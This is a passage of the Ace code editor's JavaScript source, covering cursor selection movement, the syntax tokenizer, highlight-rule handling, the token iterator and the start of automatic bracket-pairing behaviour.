this.$moveSelection(this.moveCursorLineStart);
};
this.selectLineEnd = function() {
this.$moveSelection(this.moveCursorLineEnd);
};
this.selectFileEnd = function() {
this.$moveSelection(this.moveCursorFileEnd);
};
this.selectFileStart = function() {
this.$moveSelection(this.moveCursorFileStart);
};
this.selectWordRight = function() {
this.$moveSelection(this.moveCursorWordRight);
};
this.selectWordLeft = function() {
this.$moveSelection(this.moveCursorWordLeft);
};
this.getWordRange = function(row, column) {
if (typeof column == "undefined") {
var cursor = row || this.lead;
row = cursor.row;
column = cursor.column;
}
return this.session.getWordRange(row, column);
};
this.selectWord = function() {
this.setSelectionRange(this.getWordRange());
};
this.selectAWord = function() {
var cursor = this.getCursor();
var range = this.session.getAWordRange(cursor.row, cursor.column);
this.setSelectionRange(range);
};
this.getLineRange = function(row, excludeLastChar) {
var rowStart = typeof row == "number" ? row : this.lead.row;
var rowEnd;
var foldLine = this.session.getFoldLine(rowStart);
if (foldLine) {
rowStart = foldLine.start.row;
rowEnd = foldLine.end.row;
} else {
rowEnd = rowStart;
}
if (excludeLastChar === true)
return new Range(rowStart, 0, rowEnd, this.session.getLine(rowEnd).length);
else
return new Range(rowStart, 0, rowEnd + 1, 0);
};
this.selectLine = function() {
this.setSelectionRange(this.getLineRange());
};
this.moveCursorUp = function() {
this.moveCursorBy(-1, 0);
};
this.moveCursorDown = function() {
this.moveCursorBy(1, 0);
};
this.wouldMoveIntoSoftTab = function(cursor, tabSize, direction) {
var start = cursor.column;
var end = cursor.column + tabSize;
if (direction < 0) {
start = cursor.column - tabSize;
end = cursor.column;
}
return this.session.isTabStop(cursor) && this.doc.getLine(cursor.row).slice(start, end).split(" ").length-1 == tabSize;
};
this.moveCursorLeft = function() {
var cursor = this.lead.getPosition(),
fold;
if (fold = this.session.getFoldAt(cursor.row, cursor.column, -1)) {
this.moveCursorTo(fold.start.row, fold.start.column);
} else if (cursor.column === 0) {
if (cursor.row > 0) {
this.moveCursorTo(cursor.row - 1, this.doc.getLine(cursor.row - 1).length);
}
}
else {
var tabSize = this.session.getTabSize();
if (this.wouldMoveIntoSoftTab(cursor, tabSize, -1) && !this.session.getNavigateWithinSoftTabs()) {
this.moveCursorBy(0, -tabSize);
} else {
this.moveCursorBy(0, -1);
}
}
};
this.moveCursorRight = function() {
var cursor = this.lead.getPosition(),
fold;
if (fold = this.session.getFoldAt(cursor.row, cursor.column, 1)) {
this.moveCursorTo(fold.end.row, fold.end.column);
}
else if (this.lead.column == this.doc.getLine(this.lead.row).length) {
if (this.lead.row < this.doc.getLength() - 1) {
this.moveCursorTo(this.lead.row + 1, 0);
}
}
else {
var tabSize = this.session.getTabSize();
var cursor = this.lead;
if (this.wouldMoveIntoSoftTab(cursor, tabSize, 1) && !this.session.getNavigateWithinSoftTabs()) {
this.moveCursorBy(0, tabSize);
} else {
this.moveCursorBy(0, 1);
}
}
};
this.moveCursorLineStart = function() {
var row = this.lead.row;
var column = this.lead.column;
var screenRow = this.session.documentToScreenRow(row, column);
var firstColumnPosition = this.session.screenToDocumentPosition(screenRow, 0);
var beforeCursor = this.session.getDisplayLine(
row, null, firstColumnPosition.row,
firstColumnPosition.column
);
var leadingSpace = beforeCursor.match(/^\s*/);
if (leadingSpace[0].length != column && !this.session.$useEmacsStyleLineStart)
firstColumnPosition.column += leadingSpace[0].length;
this.moveCursorToPosition(firstColumnPosition);
};
this.moveCursorLineEnd = function() {
var lead = this.lead;
var lineEnd = this.session.getDocumentLastRowColumnPosition(lead.row, lead.column);
if (this.lead.column == lineEnd.column) {
var line = this.session.getLine(lineEnd.row);
if (lineEnd.column == line.length) {
var textEnd = line.search(/\s+$/);
if (textEnd > 0)
lineEnd.column = textEnd;
}
}
this.moveCursorTo(lineEnd.row, lineEnd.column);
};
this.moveCursorFileEnd = function() {
var row = this.doc.getLength() - 1;
var column = this.doc.getLine(row).length;
this.moveCursorTo(row, column);
};
this.moveCursorFileStart = function() {
this.moveCursorTo(0, 0);
};
this.moveCursorLongWordRight = function() {
var row = this.lead.row;
var column = this.lead.column;
var line = this.doc.getLine(row);
var rightOfCursor = line.substring(column);
var match;
this.session.nonTokenRe.lastIndex = 0;
this.session.tokenRe.lastIndex = 0;
var fold = this.session.getFoldAt(row, column, 1);
if (fold) {
this.moveCursorTo(fold.end.row, fold.end.column);
return;
}
if (match = this.session.nonTokenRe.exec(rightOfCursor)) {
column += this.session.nonTokenRe.lastIndex;
this.session.nonTokenRe.lastIndex = 0;
rightOfCursor = line.substring(column);
}
if (column >= line.length) {
this.moveCursorTo(row, line.length);
this.moveCursorRight();
if (row < this.doc.getLength() - 1)
this.moveCursorWordRight();
return;
}
if (match = this.session.tokenRe.exec(rightOfCursor)) {
column += this.session.tokenRe.lastIndex;
this.session.tokenRe.lastIndex = 0;
}
this.moveCursorTo(row, column);
};
this.moveCursorLongWordLeft = function() {
var row = this.lead.row;
var column = this.lead.column;
var fold;
if (fold = this.session.getFoldAt(row, column, -1)) {
this.moveCursorTo(fold.start.row, fold.start.column);
return;
}
var str = this.session.getFoldStringAt(row, column, -1);
if (str == null) {
str = this.doc.getLine(row).substring(0, column);
}
var leftOfCursor = lang.stringReverse(str);
var match;
this.session.nonTokenRe.lastIndex = 0;
this.session.tokenRe.lastIndex = 0;
if (match = this.session.nonTokenRe.exec(leftOfCursor)) {
column -= this.session.nonTokenRe.lastIndex;
leftOfCursor = leftOfCursor.slice(this.session.nonTokenRe.lastIndex);
this.session.nonTokenRe.lastIndex = 0;
}
if (column <= 0) {
this.moveCursorTo(row, 0);
this.moveCursorLeft();
if (row > 0)
this.moveCursorWordLeft();
return;
}
if (match = this.session.tokenRe.exec(leftOfCursor)) {
column -= this.session.tokenRe.lastIndex;
this.session.tokenRe.lastIndex = 0;
}
this.moveCursorTo(row, column);
};
this.$shortWordEndIndex = function(rightOfCursor) {
var match, index = 0, ch;
var whitespaceRe = /\s/;
var tokenRe = this.session.tokenRe;
tokenRe.lastIndex = 0;
if (match = this.session.tokenRe.exec(rightOfCursor)) {
index = this.session.tokenRe.lastIndex;
} else {
while ((ch = rightOfCursor[index]) && whitespaceRe.test(ch))
index ++;
if (index < 1) {
tokenRe.lastIndex = 0;
while ((ch = rightOfCursor[index]) && !tokenRe.test(ch)) {
tokenRe.lastIndex = 0;
index ++;
if (whitespaceRe.test(ch)) {
if (index > 2) {
index--;
break;
} else {
while ((ch = rightOfCursor[index]) && whitespaceRe.test(ch))
index ++;
if (index > 2)
break;
}
}
}
}
}
tokenRe.lastIndex = 0;
return index;
};
this.moveCursorShortWordRight = function() {
var row = this.lead.row;
var column = this.lead.column;
var line = this.doc.getLine(row);
var rightOfCursor = line.substring(column);
var fold = this.session.getFoldAt(row, column, 1);
if (fold)
return this.moveCursorTo(fold.end.row, fold.end.column);
if (column == line.length) {
var l = this.doc.getLength();
do {
row++;
rightOfCursor = this.doc.getLine(row);
} while (row < l && /^\s*$/.test(rightOfCursor));
if (!/^\s+/.test(rightOfCursor))
rightOfCursor = "";
column = 0;
}
var index = this.$shortWordEndIndex(rightOfCursor);
this.moveCursorTo(row, column + index);
};
this.moveCursorShortWordLeft = function() {
var row = this.lead.row;
var column = this.lead.column;
var fold;
if (fold = this.session.getFoldAt(row, column, -1))
return this.moveCursorTo(fold.start.row, fold.start.column);
var line = this.session.getLine(row).substring(0, column);
if (column === 0) {
do {
row--;
line = this.doc.getLine(row);
} while (row > 0 && /^\s*$/.test(line));
column = line.length;
if (!/\s+$/.test(line))
line = "";
}
var leftOfCursor = lang.stringReverse(line);
var index = this.$shortWordEndIndex(leftOfCursor);
return this.moveCursorTo(row, column - index);
};
this.moveCursorWordRight = function() {
if (this.session.$selectLongWords)
this.moveCursorLongWordRight();
else
this.moveCursorShortWordRight();
};
this.moveCursorWordLeft = function() {
if (this.session.$selectLongWords)
this.moveCursorLongWordLeft();
else
this.moveCursorShortWordLeft();
};
this.moveCursorBy = function(rows, chars) {
var screenPos = this.session.documentToScreenPosition(
this.lead.row,
this.lead.column
);
var offsetX;
if (chars === 0) {
if (rows !== 0) {
if (this.session.$bidiHandler.isBidiRow(screenPos.row, this.lead.row)) {
offsetX = this.session.$bidiHandler.getPosLeft(screenPos.column);
screenPos.column = Math.round(offsetX / this.session.$bidiHandler.charWidths[0]);
} else {
offsetX = screenPos.column * this.session.$bidiHandler.charWidths[0];
}
}
if (this.$desiredColumn)
screenPos.column = this.$desiredColumn;
else
this.$desiredColumn = screenPos.column;
}
var docPos = this.session.screenToDocumentPosition(screenPos.row + rows, screenPos.column, offsetX);
if (rows !== 0 && chars === 0 && docPos.row === this.lead.row && docPos.column === this.lead.column) {
if (this.session.lineWidgets && this.session.lineWidgets[docPos.row]) {
if (docPos.row > 0 || rows > 0)
docPos.row++;
}
}
this.moveCursorTo(docPos.row, docPos.column + chars, chars === 0);
};
this.moveCursorToPosition = function(position) {
this.moveCursorTo(position.row, position.column);
};
this.moveCursorTo = function(row, column, keepDesiredColumn) {
var fold = this.session.getFoldAt(row, column, 1);
if (fold) {
row = fold.start.row;
column = fold.start.column;
}
this.$keepDesiredColumnOnChange = true;
var line = this.session.getLine(row);
if (/[\uDC00-\uDFFF]/.test(line.charAt(column)) && line.charAt(column - 1)) {
if (this.lead.row == row && this.lead.column == column + 1)
column = column - 1;
else
column = column + 1;
}
this.lead.setPosition(row, column);
this.$keepDesiredColumnOnChange = false;
if (!keepDesiredColumn)
this.$desiredColumn = null;
};
this.moveCursorToScreen = function(row, column, keepDesiredColumn) {
var pos = this.session.screenToDocumentPosition(row, column);
this.moveCursorTo(pos.row, pos.column, keepDesiredColumn);
};
this.detach = function() {
this.lead.detach();
this.anchor.detach();
this.session = this.doc = null;
};
this.fromOrientedRange = function(range) {
this.setSelectionRange(range, range.cursor == range.start);
this.$desiredColumn = range.desiredColumn || this.$desiredColumn;
};
this.toOrientedRange = function(range) {
var r = this.getRange();
if (range) {
range.start.column = r.start.column;
range.start.row = r.start.row;
range.end.column = r.end.column;
range.end.row = r.end.row;
} else {
range = r;
}
range.cursor = this.isBackwards() ? range.start : range.end;
range.desiredColumn = this.$desiredColumn;
return range;
};
this.getRangeOfMovements = function(func) {
var start = this.getCursor();
try {
func(this);
var end = this.getCursor();
return Range.fromPoints(start,end);
} catch(e) {
return Range.fromPoints(start,start);
} finally {
this.moveCursorToPosition(start);
}
};
this.toJSON = function() {
if (this.rangeCount) {
var data = this.ranges.map(function(r) {
var r1 = r.clone();
r1.isBackwards = r.cursor == r.start;
return r1;
});
} else {
var data = this.getRange();
data.isBackwards = this.isBackwards();
}
return data;
};
this.fromJSON = function(data) {
if (data.start == undefined) {
if (this.rangeList) {
this.toSingleRange(data[0]);
for (var i = data.length; i--; ) {
var r = Range.fromPoints(data[i].start, data[i].end);
if (data[i].isBackwards)
r.cursor = r.start;
this.addRange(r, true);
}
return;
} else
data = data[0];
}
if (this.rangeList)
this.toSingleRange(data);
this.setSelectionRange(data, data.isBackwards);
};
this.isEqual = function(data) {
if ((data.length || this.rangeCount) && data.length != this.rangeCount)
return false;
if (!data.length || !this.ranges)
return this.getRange().isEqual(data);
for (var i = this.ranges.length; i--; ) {
if (!this.ranges[i].isEqual(data[i]))
return false;
}
return true;
};
}).call(Selection.prototype);
exports.Selection = Selection;
});
ace.define("ace/tokenizer",["require","exports","module","ace/config"], function(require, exports, module) {
"use strict";
var config = require("./config");
var MAX_TOKEN_COUNT = 2000;
var Tokenizer = function(rules) {
this.states = rules;
this.regExps = {};
this.matchMappings = {};
for (var key in this.states) {
var state = this.states[key];
var ruleRegExps = [];
var matchTotal = 0;
var mapping = this.matchMappings[key] = {defaultToken: "text"};
var flag = "g";
var splitterRurles = [];
for (var i = 0; i < state.length; i++) {
var rule = state[i];
if (rule.defaultToken)
mapping.defaultToken = rule.defaultToken;
if (rule.caseInsensitive)
flag = "gi";
if (rule.regex == null)
continue;
if (rule.regex instanceof RegExp)
rule.regex = rule.regex.toString().slice(1, -1);
var adjustedregex = rule.regex;
var matchcount = new RegExp("(?:(" + adjustedregex + ")|(.))").exec("a").length - 2;
if (Array.isArray(rule.token)) {
if (rule.token.length == 1 || matchcount == 1) {
rule.token = rule.token[0];
} else if (matchcount - 1 != rule.token.length) {
this.reportError("number of classes and regexp groups doesn't match", {
rule: rule,
groupCount: matchcount - 1
});
rule.token = rule.token[0];
} else {
rule.tokenArray = rule.token;
rule.token = null;
rule.onMatch = this.$arrayTokens;
}
} else if (typeof rule.token == "function" && !rule.onMatch) {
if (matchcount > 1)
rule.onMatch = this.$applyToken;
else
rule.onMatch = rule.token;
}
if (matchcount > 1) {
if (/\\\d/.test(rule.regex)) {
adjustedregex = rule.regex.replace(/\\([0-9]+)/g, function(match, digit) {
return "\\" + (parseInt(digit, 10) + matchTotal + 1);
});
} else {
matchcount = 1;
adjustedregex = this.removeCapturingGroups(rule.regex);
}
if (!rule.splitRegex && typeof rule.token != "string")
splitterRurles.push(rule); // flag will be known only at the very end
}
mapping[matchTotal] = i;
matchTotal += matchcount;
ruleRegExps.push(adjustedregex);
if (!rule.onMatch)
rule.onMatch = null;
}
if (!ruleRegExps.length) {
mapping[0] = 0;
ruleRegExps.push("$");
}
splitterRurles.forEach(function(rule) {
rule.splitRegex = this.createSplitterRegexp(rule.regex, flag);
}, this);
this.regExps[key] = new RegExp("(" + ruleRegExps.join(")|(") + ")|($)", flag);
}
};
(function() {
this.$setMaxTokenCount = function(m) {
MAX_TOKEN_COUNT = m | 0;
};
this.$applyToken = function(str) {
var values = this.splitRegex.exec(str).slice(1);
var types = this.token.apply(this, values);
if (typeof types === "string")
return [{type: types, value: str}];
var tokens = [];
for (var i = 0, l = types.length; i < l; i++) {
if (values[i])
tokens[tokens.length] = {
type: types[i],
value: values[i]
};
}
return tokens;
};
this.$arrayTokens = function(str) {
if (!str)
return [];
var values = this.splitRegex.exec(str);
if (!values)
return "text";
var tokens = [];
var types = this.tokenArray;
for (var i = 0, l = types.length; i < l; i++) {
if (values[i + 1])
tokens[tokens.length] = {
type: types[i],
value: values[i + 1]
};
}
return tokens;
};
this.removeCapturingGroups = function(src) {
var r = src.replace(
/\[(?:\\.|[^\]])*?\]|\\.|\(\?[:=!]|(\()/g,
function(x, y) {return y ? "(?:" : x;}
);
return r;
};
this.createSplitterRegexp = function(src, flag) {
if (src.indexOf("(?=") != -1) {
var stack = 0;
var inChClass = false;
var lastCapture = {};
src.replace(/(\\.)|(\((?:\?[=!])?)|(\))|([\[\]])/g, function(
m, esc, parenOpen, parenClose, square, index
) {
if (inChClass) {
inChClass = square != "]";
} else if (square) {
inChClass = true;
} else if (parenClose) {
if (stack == lastCapture.stack) {
lastCapture.end = index+1;
lastCapture.stack = -1;
}
stack--;
} else if (parenOpen) {
stack++;
if (parenOpen.length != 1) {
lastCapture.stack = stack;
lastCapture.start = index;
}
}
return m;
});
if (lastCapture.end != null && /^\)*$/.test(src.substr(lastCapture.end)))
src = src.substring(0, lastCapture.start) + src.substr(lastCapture.end);
}
if (src.charAt(0) != "^") src = "^" + src;
if (src.charAt(src.length - 1) != "$") src += "$";
return new RegExp(src, (flag||"").replace("g", ""));
};
this.getLineTokens = function(line, startState) {
if (startState && typeof startState != "string") {
var stack = startState.slice(0);
startState = stack[0];
if (startState === "#tmp") {
stack.shift();
startState = stack.shift();
}
} else
var stack = [];
var currentState = startState || "start";
var state = this.states[currentState];
if (!state) {
currentState = "start";
state = this.states[currentState];
}
var mapping = this.matchMappings[currentState];
var re = this.regExps[currentState];
re.lastIndex = 0;
var match, tokens = [];
var lastIndex = 0;
var matchAttempts = 0;
var token = {type: null, value: ""};
while (match = re.exec(line)) {
var type = mapping.defaultToken;
var rule = null;
var value = match[0];
var index = re.lastIndex;
if (index - value.length > lastIndex) {
var skipped = line.substring(lastIndex, index - value.length);
if (token.type == type) {
token.value += skipped;
} else {
if (token.type)
tokens.push(token);
token = {type: type, value: skipped};
}
}
for (var i = 0; i < match.length-2; i++) {
if (match[i + 1] === undefined)
continue;
rule = state[mapping[i]];
if (rule.onMatch)
type = rule.onMatch(value, currentState, stack, line);
else
type = rule.token;
if (rule.next) {
if (typeof rule.next == "string") {
currentState = rule.next;
} else {
currentState = rule.next(currentState, stack);
}
state = this.states[currentState];
if (!state) {
this.reportError("state doesn't exist", currentState);
currentState = "start";
state = this.states[currentState];
}
mapping = this.matchMappings[currentState];
lastIndex = index;
re = this.regExps[currentState];
re.lastIndex = index;
}
if (rule.consumeLineEnd)
lastIndex = index;
break;
}
if (value) {
if (typeof type === "string") {
if ((!rule || rule.merge !== false) && token.type === type) {
token.value += value;
} else {
if (token.type)
tokens.push(token);
token = {type: type, value: value};
}
} else if (type) {
if (token.type)
tokens.push(token);
token = {type: null, value: ""};
for (var i = 0; i < type.length; i++)
tokens.push(type[i]);
}
}
if (lastIndex == line.length)
break;
lastIndex = index;
if (matchAttempts++ > MAX_TOKEN_COUNT) {
if (matchAttempts > 2 * line.length) {
this.reportError("infinite loop with in ace tokenizer", {
startState: startState,
line: line
});
}
while (lastIndex < line.length) {
if (token.type)
tokens.push(token);
token = {
value: line.substring(lastIndex, lastIndex += 2000),
type: "overflow"
};
}
currentState = "start";
stack = [];
break;
}
}
if (token.type)
tokens.push(token);
if (stack.length > 1) {
if (stack[0] !== currentState)
stack.unshift("#tmp", currentState);
}
return {
tokens : tokens,
state : stack.length ? stack : currentState
};
};
this.reportError = config.reportError;
}).call(Tokenizer.prototype);
exports.Tokenizer = Tokenizer;
});
ace.define("ace/mode/text_highlight_rules",["require","exports","module","ace/lib/lang"], function(require, exports, module) {
"use strict";
var lang = require("../lib/lang");
var TextHighlightRules = function() {
this.$rules = {
"start" : [{
token : "empty_line",
regex : '^$'
}, {
defaultToken : "text"
}]
};
};
(function() {
this.addRules = function(rules, prefix) {
if (!prefix) {
for (var key in rules)
this.$rules[key] = rules[key];
return;
}
for (var key in rules) {
var state = rules[key];
for (var i = 0; i < state.length; i++) {
var rule = state[i];
if (rule.next || rule.onMatch) {
if (typeof rule.next == "string") {
if (rule.next.indexOf(prefix) !== 0)
rule.next = prefix + rule.next;
}
if (rule.nextState && rule.nextState.indexOf(prefix) !== 0)
rule.nextState = prefix + rule.nextState;
}
}
this.$rules[prefix + key] = state;
}
};
this.getRules = function() {
return this.$rules;
};
this.embedRules = function (HighlightRules, prefix, escapeRules, states, append) {
var embedRules = typeof HighlightRules == "function"
? new HighlightRules().getRules()
: HighlightRules;
if (states) {
for (var i = 0; i < states.length; i++)
states[i] = prefix + states[i];
} else {
states = [];
for (var key in embedRules)
states.push(prefix + key);
}
this.addRules(embedRules, prefix);
if (escapeRules) {
var addRules = Array.prototype[append ? "push" : "unshift"];
for (var i = 0; i < states.length; i++)
addRules.apply(this.$rules[states[i]], lang.deepCopy(escapeRules));
}
if (!this.$embeds)
this.$embeds = [];
this.$embeds.push(prefix);
};
this.getEmbeds = function() {
return this.$embeds;
};
var pushState = function(currentState, stack) {
if (currentState != "start" || stack.length)
stack.unshift(this.nextState, currentState);
return this.nextState;
};
var popState = function(currentState, stack) {
stack.shift();
return stack.shift() || "start";
};
this.normalizeRules = function() {
var id = 0;
var rules = this.$rules;
function processState(key) {
var state = rules[key];
state.processed = true;
for (var i = 0; i < state.length; i++) {
var rule = state[i];
var toInsert = null;
if (Array.isArray(rule)) {
toInsert = rule;
rule = {};
}
if (!rule.regex && rule.start) {
rule.regex = rule.start;
if (!rule.next)
rule.next = [];
rule.next.push({
defaultToken: rule.token
}, {
token: rule.token + ".end",
regex: rule.end || rule.start,
next: "pop"
});
rule.token = rule.token + ".start";
rule.push = true;
}
var next = rule.next || rule.push;
if (next && Array.isArray(next)) {
var stateName = rule.stateName;
if (!stateName) {
stateName = rule.token;
if (typeof stateName != "string")
stateName = stateName[0] || "";
if (rules[stateName])
stateName += id++;
}
rules[stateName] = next;
rule.next = stateName;
processState(stateName);
} else if (next == "pop") {
rule.next = popState;
}
if (rule.push) {
rule.nextState = rule.next || rule.push;
rule.next = pushState;
delete rule.push;
}
if (rule.rules) {
for (var r in rule.rules) {
if (rules[r]) {
if (rules[r].push)
rules[r].push.apply(rules[r], rule.rules[r]);
} else {
rules[r] = rule.rules[r];
}
}
}
var includeName = typeof rule == "string" ? rule : rule.include;
if (includeName) {
if (Array.isArray(includeName))
toInsert = includeName.map(function(x) { return rules[x]; });
else
toInsert = rules[includeName];
}
if (toInsert) {
var args = [i, 1].concat(toInsert);
if (rule.noEscape)
args = args.filter(function(x) {return !x.next;});
state.splice.apply(state, args);
i--;
}
if (rule.keywordMap) {
rule.token = this.createKeywordMapper(
rule.keywordMap, rule.defaultToken || "text", rule.caseInsensitive
);
delete rule.defaultToken;
}
}
}
Object.keys(rules).forEach(processState, this);
};
this.createKeywordMapper = function(map, defaultToken, ignoreCase, splitChar) {
var keywords = Object.create(null);
Object.keys(map).forEach(function(className) {
var a = map[className];
if (ignoreCase)
a = a.toLowerCase();
var list = a.split(splitChar || "|");
for (var i = list.length; i--; )
keywords[list[i]] = className;
});
if (Object.getPrototypeOf(keywords)) {
keywords.__proto__ = null;
}
this.$keywordList = Object.keys(keywords);
map = null;
return ignoreCase
? function(value) {return keywords[value.toLowerCase()] || defaultToken; }
: function(value) {return keywords[value] || defaultToken; };
};
this.getKeywords = function() {
return this.$keywords;
};
}).call(TextHighlightRules.prototype);
exports.TextHighlightRules = TextHighlightRules;
});
ace.define("ace/mode/behaviour",["require","exports","module"], function(require, exports, module) {
"use strict";
var Behaviour = function() {
this.$behaviours = {};
};
(function () {
this.add = function (name, action, callback) {
switch (undefined) {
case this.$behaviours:
this.$behaviours = {};
case this.$behaviours[name]:
this.$behaviours[name] = {};
}
this.$behaviours[name][action] = callback;
};
this.addBehaviours = function (behaviours) {
for (var key in behaviours) {
for (var action in behaviours[key]) {
this.add(key, action, behaviours[key][action]);
}
}
};
this.remove = function (name) {
if (this.$behaviours && this.$behaviours[name]) {
delete this.$behaviours[name];
}
};
this.inherit = function (mode, filter) {
if (typeof mode === "function") {
var behaviours = new mode().getBehaviours(filter);
} else {
var behaviours = mode.getBehaviours(filter);
}
this.addBehaviours(behaviours);
};
this.getBehaviours = function (filter) {
if (!filter) {
return this.$behaviours;
} else {
var ret = {};
for (var i = 0; i < filter.length; i++) {
if (this.$behaviours[filter[i]]) {
ret[filter[i]] = this.$behaviours[filter[i]];
}
}
return ret;
}
};
}).call(Behaviour.prototype);
exports.Behaviour = Behaviour;
});
ace.define("ace/token_iterator",["require","exports","module","ace/range"], function(require, exports, module) {
"use strict";
var Range = require("./range").Range;
var TokenIterator = function(session, initialRow, initialColumn) {
this.$session = session;
this.$row = initialRow;
this.$rowTokens = session.getTokens(initialRow);
var token = session.getTokenAt(initialRow, initialColumn);
this.$tokenIndex = token ? token.index : -1;
};
(function() {
this.stepBackward = function() {
this.$tokenIndex -= 1;
while (this.$tokenIndex < 0) {
this.$row -= 1;
if (this.$row < 0) {
this.$row = 0;
return null;
}
this.$rowTokens = this.$session.getTokens(this.$row);
this.$tokenIndex = this.$rowTokens.length - 1;
}
return this.$rowTokens[this.$tokenIndex];
};
this.stepForward = function() {
this.$tokenIndex += 1;
var rowCount;
while (this.$tokenIndex >= this.$rowTokens.length) {
this.$row += 1;
if (!rowCount)
rowCount = this.$session.getLength();
if (this.$row >= rowCount) {
this.$row = rowCount - 1;
return null;
}
this.$rowTokens = this.$session.getTokens(this.$row);
this.$tokenIndex = 0;
}
return this.$rowTokens[this.$tokenIndex];
};
this.getCurrentToken = function () {
return this.$rowTokens[this.$tokenIndex];
};
this.getCurrentTokenRow = function () {
return this.$row;
};
this.getCurrentTokenColumn = function() {
var rowTokens = this.$rowTokens;
var tokenIndex = this.$tokenIndex;
var column = rowTokens[tokenIndex].start;
if (column !== undefined)
return column;
column = 0;
while (tokenIndex > 0) {
tokenIndex -= 1;
column += rowTokens[tokenIndex].value.length;
}
return column;
};
this.getCurrentTokenPosition = function() {
return {row: this.$row, column: this.getCurrentTokenColumn()};
};
this.getCurrentTokenRange = function() {
var token = this.$rowTokens[this.$tokenIndex];
var column = this.getCurrentTokenColumn();
return new Range(this.$row, column, this.$row, column + token.value.length);
};
}).call(TokenIterator.prototype);
exports.TokenIterator = TokenIterator;
});
ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var Behaviour = require("../behaviour").Behaviour;
var TokenIterator = require("../../token_iterator").TokenIterator;
var lang = require("../../lib/lang");
var SAFE_INSERT_IN_TOKENS =
["text", "paren.rparen", "punctuation.operator"];
var SAFE_INSERT_BEFORE_TOKENS =
["text", "paren.rparen", "punctuation.operator", "comment"];
var context;
var contextCache = {};
var defaultQuotes = {'"' : '"', "'" : "'"};
var initContext = function(editor) {
var id = -1;
if (editor.multiSelect) {
id = editor.selection.index;
if (contextCache.rangeCount != editor.multiSelect.rangeCount)
contextCache = {rangeCount: editor.multiSelect.rangeCount};
}
if (contextCache[id])
return context = contextCache[id];
context = contextCache[id] = {
autoInsertedBrackets: 0,
autoInsertedRow: -1,
autoInsertedLineEnd: "",
maybeInsertedBrackets: 0,
maybeInsertedRow: -1,
maybeInsertedLineStart: "",
maybeInsertedLineEnd: ""
};
};
var getWrapped = function(selection, selected, opening, closing) {
var rowDiff = selection.end.row - selection.start.row;
return {
text: opening + selected + closing,
selection: [
0,
selection.start.column + 1,
rowDiff,
selection.end.column + (rowDiff ? 0 : 1)
]
};
};
var CstyleBehaviour = function(options) {
this.add("braces", "insertion", function(state, action, editor, session, text) {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
if (text == '{') {
initContext(editor);
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && selected !== "{" && editor.getWrapBehavioursEnabled()) {
return getWrapped(selection, selected, '{', '}');
} else if (CstyleBehaviour.isSaneInsertion(editor, session)) {
if (/[\]\}\)]/.test(line[cursor.column]) || editor.inMultiSelectMode || options && options.braces) {
CstyleBehaviour.recordAutoInsert(editor, session, "}");
return {
text: '{}',
selection: [1, 1]
};
} else {
CstyleBehaviour.recordMaybeInsert(editor, session, "{");
return {
text: '{',
selection: [1, 1]
};
}
}
} else if (text == '}') {
initContext(editor);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar == '}') {
var matching = session.$findOpeningBracket('}', {column: cursor.column + 1, row: cursor.row});
if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {
CstyleBehaviour.popAutoInsertedClosing();
return {
text: '',
selection: [1, 1]
};
}
}
} else if (text == "\n" || text == "\r\n") {
initContext(editor);
var closing = "";
if (CstyleBehaviour.isMaybeInsertedClosing(cursor, line)) {
closing = lang.stringRepeat("}", context.maybeInsertedBrackets);
CstyleBehaviour.clearMaybeInsertedClosing();
}
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar === '}') {
var openBracePos = session.findMatchingBracket({row: cursor.row, column: cursor.column+1}, '}');
if (!openBracePos)
return null;
var next_indent = this.$getIndent(session.getLine(openBracePos.row));
} else if (closing) {
var next_indent = this.$getIndent(line);
} else {
CstyleBehaviour.clearMaybeInsertedClosing();
return;
}
var indent = next_indent + session.getTabString();
return {
text: '\n' + indent + '\n' + next_indent + closing,
selection: [1, indent.length, 1, indent.length]
};
} else {
CstyleBehaviour.clearMaybeInsertedClosing();
}
});
this.add("braces", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && selected == '{') {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.end.column, range.end.column + 1);
if (rightChar == '}') {
range.end.column++;
return range;
} else {
context.maybeInsertedBrackets--;
}
}
});
this.add("parens", "insertion", function(state, action, editor, session, text) {
if (text == '(') {
initContext(editor);
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && editor.getWrapBehavioursEnabled()) {
return getWrapped(selection, selected, '(', ')');
} else if (CstyleBehaviour.isSaneInsertion(editor, session)) {
CstyleBehaviour.recordAutoInsert(editor, session, ")");
return {
text: '()',
selection: [1, 1]
};
}
} else if (text == ')') {
initContext(editor);
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar == ')') {
var matching = session.$findOpeningBracket(')', {column: cursor.column + 1, row: cursor.row});
if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {
CstyleBehaviour.popAutoInsertedClosing();
return {
text: '',
selection: [1, 1]
};
}
}
}
});
this.add("parens", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && selected == '(') {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.start.column + 1, range.start.column + 2);
if (rightChar == ')') {
range.end.column++;
return range;
}
}
});
this.add("brackets", "insertion", function(state, action, editor, session, text) {
if (text == '[') {
initContext(editor);
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && editor.getWrapBehavioursEnabled()) {
return getWrapped(selection, selected, '[', ']');
} else if (CstyleBehaviour.isSaneInsertion(editor, session)) {
CstyleBehaviour.recordAutoInsert(editor, session, "]");
return {
text: '[]',
selection: [1, 1]
};
}
} else if (text == ']') {
initContext(editor);
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar == ']') {
var matching = session.$findOpeningBracket(']', {column: cursor.column + 1, row: cursor.row});
if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {
CstyleBehaviour.popAutoInsertedClosing();
return {
